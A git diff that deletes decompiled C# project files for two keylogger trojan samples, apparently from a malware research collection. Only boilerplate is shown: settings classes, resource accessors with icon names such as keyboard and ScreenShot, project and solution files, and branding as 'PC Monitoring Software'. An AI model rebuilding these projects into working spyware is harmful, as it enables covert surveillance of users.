b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettings.cs deleted file mode 100644 index 583ac0ee..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.My.MySettings -// Assembly: Stub, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: 70DF123C-965E-4C93-87DF-CF54B583BA08 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Stub.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettingsProperty.cs deleted file mode 100644 index 776e4b7a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.My.MySettingsProperty -// Assembly: Stub, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: 70DF123C-965E-4C93-87DF-CF54B583BA08 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Stub.My -{ - [HideModuleName] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/Resources/Resources.cs deleted file mode 100644 index 1f4d3efd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.My.Resources.Resources -// Assembly: Stub, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: 70DF123C-965E-4C93-87DF-CF54B583BA08 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Stub.My.Resources -{ - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Stub.My.Resources.Resources.resourceMan, (object) null)) - Stub.My.Resources.Resources.resourceMan = new ResourceManager("Stub.Resources", typeof (Stub.My.Resources.Resources).Assembly); - return Stub.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Stub.My.Resources.Resources.resourceCulture; - set => Stub.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.csproj deleted file mode 100644 index 07d8c7e0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {689209C5-C69E-464E-9B11-A1CF70A7141E} - WinExe - Stub - 5.1.2600.5512 - Stub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.sln deleted file mode 100644 index e72f8ec8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.csproj", "{689209C5-C69E-464E-9B11-A1CF70A7141E}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {689209C5-C69E-464E-9B11-A1CF70A7141E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {689209C5-C69E-464E-9B11-A1CF70A7141E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {689209C5-C69E-464E-9B11-A1CF70A7141E}.Release|Any CPU.ActiveCfg = Release|Any CPU - {689209C5-C69E-464E-9B11-A1CF70A7141E}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/AssemblyInfo.cs deleted file mode 100644 index bc6f9524..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("Desktop Shark")] -[assembly: AssemblyProduct("Desktop Shark")] -[assembly: AssemblyDescription("PC Monitoring Software")] -[assembly: AssemblyTitle("dsklhost.exe")] -[assembly: AssemblyCopyright("Copyright © Desktop Shark 2010")] -[assembly: AssemblyTrademark("")] -[assembly: Guid("59cd6b29-6b7e-4311-85c8-ae05d44aa5af")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.71.0.0")] -[assembly: AssemblyVersion("1.71.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.cs deleted file mode 100644 index 9ef1438a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.cs +++ /dev/null @@ -1,119 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLogger.Properties.Resources -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace KeyLogger.Properties -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [DebuggerNonUserCode] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) KeyLogger.Properties.Resources.resourceMan, (object) null)) - KeyLogger.Properties.Resources.resourceMan = new ResourceManager("KeyLogger.Properties.Resources", typeof (KeyLogger.Properties.Resources).Assembly); - return KeyLogger.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => KeyLogger.Properties.Resources.resourceCulture; - set => KeyLogger.Properties.Resources.resourceCulture = value; - } - - internal static Bitmap accept => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (accept), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap application_xp => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (application_xp), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap arrow_refresh => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (arrow_refresh), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap book_addresses => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (book_addresses), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap bullet_go => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (bullet_go), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap camera => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (camera), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap cog => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (cog), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap comment => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (comment), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap control_end_blue => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (control_end_blue), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap control_fastforward_blue => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (control_fastforward_blue), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap control_rewind_blue => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (control_rewind_blue), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap control_start_blue => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (control_start_blue), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap disconnect => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (disconnect), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap disk => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (disk), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap door_out => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (door_out), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap door_out1 => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (door_out1), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap Fade => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (Fade), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap find => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (find), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap folder_magnify => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (folder_magnify), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap help => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (help), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap image_delete => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (image_delete), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap images => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (images), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap key => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (key), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap keyboard => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (keyboard), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap Logo => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (Logo), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap magnifier => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (magnifier), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap money => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (money), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap note_error => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (note_error), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap page_copy => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (page_copy), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap page_white_excel => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (page_white_excel), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap ScreenShot => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (ScreenShot), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap splash => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (splash), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap stop => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (stop), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap transmit => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (transmit), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap transmit_blue => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (transmit_blue), KeyLogger.Properties.Resources.resourceCulture); - - internal static Bitmap zoom_in => (Bitmap) KeyLogger.Properties.Resources.ResourceManager.GetObject(nameof (zoom_in), KeyLogger.Properties.Resources.resourceCulture); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.resx deleted file mode 100644 index c26b24a4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.resx +++ /dev/null @@ -1,228 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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 - 